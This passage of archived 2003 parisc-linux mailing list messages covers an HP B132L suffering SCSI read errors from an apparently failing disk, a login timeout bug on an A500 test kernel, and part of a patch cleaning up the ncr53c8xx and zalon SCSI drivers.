NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:27 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 12:47:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.epost.de (unknown [193.28.100.167])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D3F74831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 12:47:42 -0600 (MDT)
Original-Received: from epost.de (217.81.75.16) by mail.epost.de (6.7.015) (authenticated as sebastian.brueckner@epost.de)
        id 3F5F071900009348; Wed, 10 Sep 2003 20:47:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-at, de, en-us, en
Original-Followup-To: debian-hppa@lists.debian.org
In-Reply-To: <1063208722.1984.10.camel@mulgrave>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19478

James Bottomley schrieb:
 > That's a residue of an incorrect lasi700 driver.  Notice it thinks the
 > length is six for a ten byte command.  This has long been fixed in the
 > linux-2.4 PA tree (er, I think---I've been concentrating on 2.6
 > mainly).

Hrm...

I installed the latest available kernel image (2.4.20-32) and it worked 
- only compiling seems to raise the error... strange!

 > However, something higher up in the trace you don't attach caused the
 > actual problem that this is a response to (It's caused by the SCSI mid
 > layer putting the wrong command length back *after* error recovery, so
 > your true root cause is the error that first started this).

I ran make-kpkg again and this time captured the first messages:

/usr/bin/make -C scsi fastdep
make[6]: Entering directory `/usr/src/linux-2.4.22/drivers/scsi'
gcc -D__KERNEL__ -I/usr/src/linux-2.4.22/include -Wall 
-Wstrict-prototypes -Wnoc
| /sbin/genksyms  -k 2.4.22 > 
/usr/src/linux-2.4.22/include/linux/modules/scsi_p
mv /usr/src/linux-2.4.22/include/linux/modules/scsi_syms.ver.tmp 
/usr/src/linuxr
gcc -D__KERNEL__ -I/usr/src/linux-2.4.22/include -Wall 
-Wstrict-prototypes -Wnoc
| /sbin/genksyms  -k 2.4.22 > 
/usr/src/linux-2.4.22/include/linux/modules/53c70p
53c700.c:163:22: 53c700_d.h: No such file or directory
mv /usr/src/linux-2.4.22/include/linux/modules/53c700.ver.tmp 
/usr/src/linux-2.r
/usr/src/linux-2.4.22/scripts/mkdep -D__KERNEL__ 
-I/usr/src/linux-2.4.22/includm
vme16x.c mvme16xInfo fld=0x35e1fb.h ncr53c8xx.c n, cr53c8xx.h 
nsp32Current .c nr
_debug.c nsp32_iAdditional sense indicates Unrecovered read error
o.h oktagon_esp. I/O error: dev 08:04, sector 3182320
c oktagon_esp.h scsi0: (2:0), UNEXPECTED PHASE after command phase (CD 
BSY REQ )
          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 00090]
  failing command because of reset, slot 00010520, cmnd 10081c00
oktagon_io.S ossscsi0: (2:0) Synchronous at offset 8, period 100ns
t.c osst.h osst_detect.h osst_options.h pas16.c pas16.h pci2000.c 
pci2000.h pci)
          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 00090]
  failing command because of reset, slot 00010520, cmnd 10081c00
qlogicpti.h qlogscsi0: (2:0) Synchronous at offset 8, period 100ns
icpti_asm.c scsi.c scsi.h scsi_debug.c scsi_debug.h scsi_dma.c 
scsi_error.c scs)
          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 00090]
  failing command because of reset, slot 00010520, cmnd 10081c00
710_d.h sim710_uscsi0: (2:0) Synchronous at offset 8, period 100ns
.h sr.c sr.h sr_ioctl.c sr_vendor.c st.c st.h st_options.h 
sun3_NCR5380.c sun3_)
          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
scsi0: Bus Reset detected, executing command 10081c00, slot 000109f0, 
dsp 00090]
  failing command because of reset, slot 00010520, cmnd 10081a00
  failing command because of reset, slot 00010654, cmnd 10081800
  failing command because of reset, slot 00010788, cmnd 10082800
  failing command because of reset, slot 000108bc, cmnd 10081000
  failing command because of reset, slot 000109f0, cmnd 10081c00
  failing command because of reset, slot 00010b24, cmnd 10082e00
  failing command because of reset, slot 00010c58, cmnd 10081200
  failing command because of reset, slot 00010d8c, cmnd 10082a00
  failing command because of reset, slot 00010ec0, cmnd 10082600
  failing command because of reset, slot 00010ff4, cmnd 10081600
  failing command because of reset, slot 00011128, cmnd 10082200
  failing command because of reset, slot 0001125c, cmnd 10082c00
  failing command because of reset, slot 00011390, cmnd 10081400
  failing command because of reset, slot 000114c4, cmnd 10082400
  failing command because of reset, slot 000115f8, cmnd 10082000
  failing command because of reset, slot 0001172c, cmnd 100a4e00
7000.c wd7000.h scsi0: (2:0) Synchronous at offset 8, period 100ns
zalon7xx.c zalon7xx.h > .depend
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 35 e2 00 00 00 18 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 00090]
  failing command because of reset, slot 00010520, cmnd 10081c00
  failing command because of reset, slot 00010654, cmnd 10081a00
  failing command because of reset, slot 00010788, cmnd 10081800
  failing command because of reset, slot 000108bc, cmnd 10081600
  failing command because of reset, slot 000109f0, cmnd 10081400
  failing command because of reset, slot 00010b24, cmnd 10081200
  failing command because of reset, slot 00010c58, cmnd 10081000
  failing command because of reset, slot 00010d8c, cmnd 10082e00
  failing command because of reset, slot 00010ec0, cmnd 10082c00
  failing command because of reset, slot 00010ff4, cmnd 10082a00
  failing command because of reset, slot 00011128, cmnd 10082800
  failing command because of reset, slot 0001125c, cmnd 10082600
  failing command because of reset, slot 00011390, cmnd 10082400
  failing command because of reset, slot 000114c4, cmnd 10082200
  failing command because of reset, slot 000115f8, cmnd 10082000
  failing command because of reset, slot 0001172c, cmnd 100a4e00
...

I will try the newer kernel now...
However "Unrecovered read error" sounds very much like a bad disk for me 
so I suppose it will not help...

cu,
   Sebastian



From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: Wed, 10 Sep 2003 19:58:34 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030910185834.GC21596__13736.1636422158$1416622767$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <3F5F24D9.7030800@epost.de> <1063208722.1984.10.camel@mulgrave> <3F5F71C8.7060605@epost.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622767 30808 80.91.229.3 (22 Nov 2014 02:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:27 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
To: Sebastian =?iso-8859-1?Q?Br=FCckner?= <sebastian.brueckner@epost.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 12:58:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 968344831
	for <parisc-linux@parisc-linux.org>; Wed, 10 Sep 2003 12:58:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19xAAk-0003uC-D4; Wed, 10 Sep 2003 19:58:34 +0100
Content-Disposition: inline
In-Reply-To: <3F5F71C8.7060605@epost.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19479

On Wed, Sep 10, 2003 at 08:47:36PM +0200, Sebastian Brckner wrote:
> I installed the latest available kernel image (2.4.20-32) and it worked 
> - only compiling seems to raise the error... strange!
> 
> I ran make-kpkg again and this time captured the first messages:

Could you redirect the output from make-kpkg to a file or /dev/null so the
messages from the compilation aren't interleaved with the kernel messages.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] login timeout?
Date: Wed, 10 Sep 2003 23:14:09 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20030911051409.GA21174@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622767 30809 80.91.229.3 (22 Nov 2014 02:19:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 10 23:14:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A75A54831; Wed, 10 Sep 2003 23:14:09 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19480

console login on my a500 running 2.6.0-test5-pa0 says:


Debian GNU/Linux testing/unstable ion ttyS0

ion login: ooro
Password: 
Login incorrect

ion login: 
Login timed out after 60 seconds.

Debian GNU/Linux testing/unstable ion ttyS0

ion login: 

This looks normal but the timeout occurs in about 5 seconds.
Something is broken.

config/vmlinux/etc uploaded to
	ftp://ftp.parisc-linux.org/kernels/a500/2.6.0-test5-pa0.tgz

grant


From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Sebastian_Br=FCckner?= <sebastian.brueckner@epost.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: Thu, 11 Sep 2003 17:03:55 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <3F608EDB.101__24077.2891244434$1416622768$gmane$org@epost.de>
References: <3F5F24D9.7030800@epost.de> <1063208722.1984.10.camel@mulgrave> <3F5F71C8.7060605@epost.de> <20030910185834.GC21596@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622768 30812 80.91.229.3 (22 Nov 2014 02:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:28 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 11 09:04:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.epost.de (unknown [193.28.100.166])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35E8E4831
	for <parisc-linux@parisc-linux.org>; Thu, 11 Sep 2003 09:04:20 -0600 (MDT)
Original-Received: from epost.de (80.129.184.84) by mail.epost.de (6.7.015) (authenticated as sebastian.brueckner@epost.de)
        id 3F5F464C0001865E; Thu, 11 Sep 2003 17:04:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-at, de, en-us, en
In-Reply-To: <20030910185834.GC21596@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19481

Matthew Wilcox schrieb:
> Could you redirect the output from make-kpkg to a file or /dev/null so the
> messages from the compilation aren't interleaved with the kernel messages.

I tried to backup the system and got the a similar error with very few 
messages mixed into it. Maybe this is better readable:

b132l:~# tar c / | ssh -l sb 192.168.0.2 'gzip -f > root.tar.gz'
tar: Removing leading `/' from member names
sb@192.168.0.2's password:
scsi0: ERROR on channel 0, id 2, lun 0, CDB: Request Sense 00 00 00 40 00
Info fld=0x39a27b, Current sd08:04: sense key Medium Error
Additional sense indicates Unrecovered read error
  I/O error: dev 08:04, sector 3428208
tar: /usr/share/consolefonts/lat1-08.psf.gz: Read error at byte 0, 
reading 1024 bytes: Input/output error
scsi0: ERROR on channel 0, id 2, lun 0, CDB: Request Sense 00 00 00 40 00
Info fld=0x39a5e4, Current sd08:04: sense key Medium Error
Additional sense indicates Unrecovered read error
  I/O error: dev 08:04, sector 3429080
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 39 a5 e8 00 00 a0 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010ff4, 
dsp 00090210[0210]
  failing command because of reset, slot 00010ff4, cmnd 10081c00
scsi0: (2:0) Synchronous at offset 8, period 100ns
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 39 a5 e8 00 00 a0 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 00090210[0210]
  failing command because of reset, slot 00010520, cmnd 10081c00
  failing command because of reset, slot 00010ff4, cmnd 10081a00
  failing command because of reset, slot 000115f8, cmnd 10081800
scsi0: (2:0) Synchronous at offset 8, period 100ns
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 39 a5 e8 00 00 a0 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 00090210[0210]
  failing command because of reset, slot 00010520, cmnd 10081c00
  failing command because of reset, slot 00010ff4, cmnd 10081a00
  failing command because of reset, slot 000115f8, cmnd 10081800
scsi0: (2:0) Synchronous at offset 8, period 100ns
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 39 a5 e8 00 00 a0 00
scsi0: Bus Reset detected, executing command 10081c00, slot 00010520, 
dsp 00090210[0210]
  failing command because of reset, slot 00010520, cmnd 10081c00
  failing command because of reset, slot 00010ff4, cmnd 10081a00
  failing command because of reset, slot 000115f8, cmnd 10081800
scsi0: (2:0) Synchronous at offset 8, period 100ns
scsi0: (2:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =Read (10) 00 00 39 a5 e8 00 00 a0 00


cu,
   Sebastian



From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Sebastian_Br=FCckner?= <sebastian.brueckner@epost.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP B132L hangs
Date: Thu, 11 Sep 2003 17:33:10 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3F6095B6.7050706__15217.422709293$1416622768$gmane$org@epost.de>
References: <3F5F24D9.7030800@epost.de> <3F5F2D4E.7040700@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622768 30816 80.91.229.3 (22 Nov 2014 02:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 11 09:33:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.epost.de (unknown [193.28.100.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52FEE4831
	for <parisc-linux@parisc-linux.org>; Thu, 11 Sep 2003 09:33:32 -0600 (MDT)
Original-Received: from epost.de (80.129.184.84) by mail.epost.de (6.7.015) (authenticated as sebastian.brueckner@epost.de)
        id 3F48BE290022B802; Thu, 11 Sep 2003 17:33:31 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-at, de, en-us, en
In-Reply-To: <3F5F2D4E.7040700@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19482

Joel Soete:
> Yes it looks like a disk becoming defective. The best way to be sure is 
> to use a hp cdrom containing Diagnostic tools (iirc the last hpux 
> support + would contains it). This cd is bootable and contains tools 
> allowing you test your disk.

I don't have such a cd...
I have only two HP cd sets:
"HP-UX Applications/Patches 10.20" 5 CDs
"Additional Core Enhancements HP-UX 10.20 Workstations" 1 CD

Do you know if one of them contains these tools?

> If you have another system on which you can connect your suspected disk 
> you can also try a dd cmd like:
> dd if=/dev/rdsk/c0txd0 of=/dev/null bs=2048k (where you replace 
> /dev/rdsk/c0txd0 by the actual disk path)

See my other post for results of backup... it provoced the same (or at 
least a similar) error :-/
I do not currently have another system I could put the disk in (I got a 
C200 but it is not in a working state right now). The disk does not 
contain too important data - but it was a lot of work to set up the router.


thx,
   Sebastian



From - Thu Nov 08 21:29:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] zalon & ncr53c8xx cleanups
Date: Thu, 11 Sep 2003 19:11:35 +0100
Lines: 591
Approved: news@gmane.org
Message-ID: <20030911181135.GN21596__19200.0519404703$1416622768$gmane$org@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622768 30818 80.91.229.3 (22 Nov 2014 02:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org, linux-scsi@vger.kernel.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 11 12:11:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 739854830
	for <parisc-linux@parisc-linux.org>; Thu, 11 Sep 2003 12:11:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19xVup-0007P3-45; Thu, 11 Sep 2003 19:11:35 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19483

I don't actually have a zalon machine to test these on, but they seem
right to me, and compile fine.

Some cleanups for ncr53c8xx & zalon:

 - Inline zalon.h into zalon.c
 - Rationalise (a little) ncr53c8xx.c's includes
 - Remove all the version checks
 - Stop using remap_pci_mem & unmap_pci_mem & delete their definitions.
 - Use mb() instead of custom inline asm for MEMORY_BARRIER.

Index: drivers/scsi/ncr53c8xx.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/ncr53c8xx.c,v
retrieving revision 1.4
diff -u -p -r1.4 ncr53c8xx.c
--- drivers/scsi/ncr53c8xx.c	8 Sep 2003 21:42:20 -0000	1.4
+++ drivers/scsi/ncr53c8xx.c	11 Sep 2003 18:04:23 -0000
@@ -115,64 +115,32 @@
 **==========================================================
 */
 
-#include <linux/version.h>
-
-#include <linux/module.h>
-#include <asm/dma.h>
-#include <asm/io.h>
-#include <asm/system.h>
-#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,3,17)
-#include <linux/spinlock.h>
-#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,1,93)
-#include <asm/spinlock.h>
-#endif
+#include <linux/blkdev.h>
 #include <linux/delay.h>
-#include <linux/signal.h>
-#include <linux/sched.h>
-#include <linux/errno.h>
-#include <linux/pci.h>
 #include <linux/dma-mapping.h>
+#include <linux/errno.h>
+#include <linux/init.h>
 #include <linux/interrupt.h>
-#include <linux/string.h>
-#include <linux/mm.h>
 #include <linux/ioport.h>
+#include <linux/mm.h>
+#include <linux/module.h>
+#include <linux/pci.h>
+#include <linux/sched.h>
+#include <linux/signal.h>
+#include <linux/spinlock.h>
+#include <linux/stat.h>
+#include <linux/string.h>
 #include <linux/time.h>
 #include <linux/timer.h>
-#include <linux/stat.h>
-
-#include <linux/blkdev.h>
-
-#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,1,35)
-#include <linux/init.h>
-#endif
-
-#ifndef	__init
-#define	__init
-#endif
-#ifndef	__initdata
-#define	__initdata
-#endif
+#include <linux/types.h>
 
-#if LINUX_VERSION_CODE <= KERNEL_VERSION(2,1,92)
-#include <linux/bios32.h>
-#endif
+#include <asm/dma.h>
+#include <asm/io.h>
+#include <asm/system.h>
 
 #include "scsi.h"
 #include "hosts.h"
 
-#include <linux/types.h>
-
-/*
-**	Define BITS_PER_LONG for earlier linux versions.
-*/
-#ifndef	BITS_PER_LONG
-#if (~0UL) == 0xffffffffUL
-#define	BITS_PER_LONG	32
-#else
-#define	BITS_PER_LONG	64
-#endif
-#endif
-
 #include "ncr53c8xx.h"
 
 /*
@@ -1028,9 +996,7 @@ struct ncb {
 					/*  when lcb is not allocated.	*/
 	Scsi_Cmnd	*done_list;	/* Commands waiting for done()  */
 					/* callback to be invoked.      */ 
-#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,1,93)
 	spinlock_t	smp_lock;	/* Lock for SMP threading       */
-#endif
 
 	/*----------------------------------------------------------------
 	**	Chip and controller indentification.
@@ -3739,7 +3705,7 @@ ncr_attach (Scsi_Host_Template *tpnt, in
 	if(device->slot.base_v)
 		np->vaddr = device->slot.base_v;
 	else
-		np->vaddr = remap_pci_mem(device->slot.base_c, (u_long) 128);
+		np->vaddr = (unsigned long)ioremap(device->slot.base_c, 128);
 
 	if (!np->vaddr) {
 		printk(KERN_ERR
@@ -3809,11 +3775,7 @@ ncr_attach (Scsi_Host_Template *tpnt, in
 	instance->max_id	= np->maxwide ? 16 : 8;
 	instance->max_lun	= SCSI_NCR_MAX_LUN;
 #ifndef SCSI_NCR_IOMAPPED
-#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,3,29)
 	instance->base		= (unsigned long) np->reg;
-#else
-	instance->base		= (char *) np->reg;
-#endif
 #endif
 	instance->irq		= device->slot.irq;
 	instance->unique_id	= device->slot.io_port;
@@ -9199,28 +9161,13 @@ printk("ncr53c8xx_proc_info: hostno=%d, 
 
 /*==========================================================
 **
-**	/proc directory entry.
-**
-**==========================================================
-*/
-#if LINUX_VERSION_CODE < KERNEL_VERSION(2,3,27)
-static struct proc_dir_entry proc_scsi_ncr53c8xx = {
-    PROC_SCSI_NCR53C8XX, 9, NAME53C8XX,
-    S_IFDIR | S_IRUGO | S_IXUGO, 2
-};
-#endif
-
-/*==========================================================
-**
 **	Boot command line.
 **
 **==========================================================
 */
 #ifdef	MODULE
 char *ncr53c8xx = 0;	/* command line passed by insmod */
-# if LINUX_VERSION_CODE >= KERNEL_VERSION(2,1,30)
 MODULE_PARM(ncr53c8xx, "s");
-# endif
 #endif
 
 int __init ncr53c8xx_setup(char *str)
@@ -9228,10 +9175,8 @@ int __init ncr53c8xx_setup(char *str)
 	return sym53c8xx__setup(str);
 }
 
-#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,3,13)
 #ifndef MODULE
 __setup("ncr53c8xx=", ncr53c8xx_setup);
-#endif
 #endif
 
 /*===================================================================
Index: drivers/scsi/sym53c8xx_comm.h
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_comm.h,v
retrieving revision 1.1
diff -u -p -r1.1 sym53c8xx_comm.h
--- drivers/scsi/sym53c8xx_comm.h	29 Jul 2003 17:01:30 -0000	1.1
+++ drivers/scsi/sym53c8xx_comm.h	11 Sep 2003 18:03:22 -0000
@@ -74,9 +74,7 @@
 **==========================================================
